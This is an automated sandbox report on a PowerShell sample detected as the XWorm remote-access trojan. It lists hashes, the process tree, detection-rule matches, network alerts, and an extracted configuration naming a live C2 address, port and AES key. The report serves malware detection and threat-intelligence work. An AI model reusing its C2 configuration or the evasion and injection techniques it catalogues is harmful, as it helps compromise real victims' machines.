Edit tour

Windows Analysis Report
mhqxUdpe7V.ps1

Overview

General Information

Sample name:	mhqxUdpe7V.ps1 renamed because original name is a hash value
Original sample name:	372ad160c5b235ae768490e898860d6797ba74b1ed8106496ffc5a7c1ccd464e.ps1
Analysis ID:	1577168
MD5:	d8e887ed6c14e9b9279b739aea8bb613
SHA1:	d5d2ade0c4896b1e7fc6318ec97dbb49ee1cb071
SHA256:	372ad160c5b235ae768490e898860d6797ba74b1ed8106496ffc5a7c1ccd464e
Tags:	92-255-57-155ps1user-JAMESWT_MHT
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Uses ipconfig to lookup or modify the Windows network settings

Writes to foreign memory regions

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

powershell.exe (PID: 3600 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 1820 cmdline: "C:\Windows\system32\ipconfig.exe" /flushdns MD5: 62F170FB07FDBB79CEB7147101406EB8)

RegSvcs.exe (PID: 3352 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["92.255.57.155"], "Port": 4411, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000002.3913764509.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xaa5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xaaf9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xac0e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xa81e:$cnc4: POST / HTTP/1.1
00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1483546758.000001AC16DFF000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x55a9c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x55b39:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x55c4e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5585e:$cnc4: POST / HTTP/1.1
00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19c0c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19ca9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19dbe:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x199ce:$cnc4: POST / HTTP/1.1
00000004.00000002.3916503959.0000000003101000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1483546758.000001AC15E57000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1e41d4:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1e4271:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1e4386:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1e3f96:$cnc4: POST / HTTP/1.1
Process Memory Space: powershell.exe PID: 3600	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: RegSvcs.exe PID: 3352	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.powershell.exe.1ac16030578.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.1ac16e49e40.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.1ac16030578.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8e5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8ef9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x900e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8c1e:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.1ac16e49e40.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8e5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8ef9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x900e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8c1e:$cnc4: POST / HTTP/1.1
4.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
4.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xac5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xacf9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xae0e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xaa1e:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.1ac16030578.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.1ac16030578.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xac5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xacf9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xae0e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xaa1e:$cnc4: POST / HTTP/1.1
0.2.powershell.exe.1ac16e49e40.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.powershell.exe.1ac16e49e40.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xac5c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xacf9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xae0e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xaa1e:$cnc4: POST / HTTP/1.1
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", ProcessId: 3600, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\mhqxUdpe7V.ps1", ProcessId: 3600, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:44.383553+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:15:55.993778+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:15:58.442744+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:07.619210+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:19.244265+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:28.596948+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:30.869806+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.540659+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.775609+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:35.966382+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:37.275818+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:47.024809+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:51.681721+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:51.872600+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:55.860763+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:16:58.870117+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:02.360638+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.338323+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.529526+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:07.798850+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:19.369699+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:28.636169+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:28.826358+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.009802+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.200715+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.366726+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.392547+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:30.683445+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:38.088186+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:41.526413+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:45.623108+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:57.260857+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:17:58.430043+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:08.930832+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.401150+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.591925+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:12.713869+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:15.259849+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:18.994275+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:23.072270+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:28.444810+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:34.833814+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:36.479150+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:37.871432+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:45.510717+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:57.135572+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:18:58.456985+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:08.793859+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:17.112172+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:21.167141+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:28.446368+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP
2024-12-18T08:19:30.432749+0100	2852870	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:44.423184+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:15:55.995603+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:07.622697+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:19.246948+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:30.871894+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.586657+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.777466+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:35.971330+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:37.278095+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:47.027279+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:51.687517+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:51.874949+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:16:55.863013+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:02.363894+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.430548+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.550481+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:07.804066+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:19.371972+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:28.828701+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.202778+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.371295+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.491088+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:30.778035+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:38.091676+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:41.528389+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:45.634389+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:17:57.263162+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:08.932951+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.403176+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.594444+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:12.715630+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:15.262040+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:18.999823+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:23.074203+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:34.838093+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:36.481824+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:37.874173+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:45.514127+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:18:57.141141+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:08.800193+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:17.253400+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:21.168994+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP
2024-12-18T08:19:30.433858+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP

ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:15:58.442744+0100	2858801	1	Malware Command and Control Activity Detected	92.255.57.155	4411	192.168.2.9	49705	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T08:18:22.639364+0100	2858799	1	Malware Command and Control Activity Detected	192.168.2.9	49705	92.255.57.155	4411	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1483546758.000001AC16083000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["92.255.57.155"], "Port": 4411, "Aes key": "P0WER", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: mhqxUdpe7V.ps1	Virustotal: Detection: 9%			Perma Link
Source: mhqxUdpe7V.ps1	ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: 92.255.57.155
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: 4411
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: P0WER
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: <Xwormmm>
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: XWorm V5.6
Source: 0.2.powershell.exe.1ac16030578.2.raw.unpack	String decryptor: USB.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2858800 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.9:49705 -> 92.255.57.155:4411
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 92.255.57.155:4411 -> 192.168.2.9:49705
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.9:49705 -> 92.255.57.155:4411
Source: Network traffic	Suricata IDS: 2858801 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound : 92.255.57.155:4411 -> 192.168.2.9:49705
Source: Network traffic	Suricata IDS: 2858799 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.9:49705 -> 92.255.57.155:4411

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 92.255.57.155

Source: global traffic

TCP traffic: 192.168.2.9:49705 -> 92.255.57.155:4411

Source: Joe Sandbox View

ASN Name: TELSPRU TELSPRU

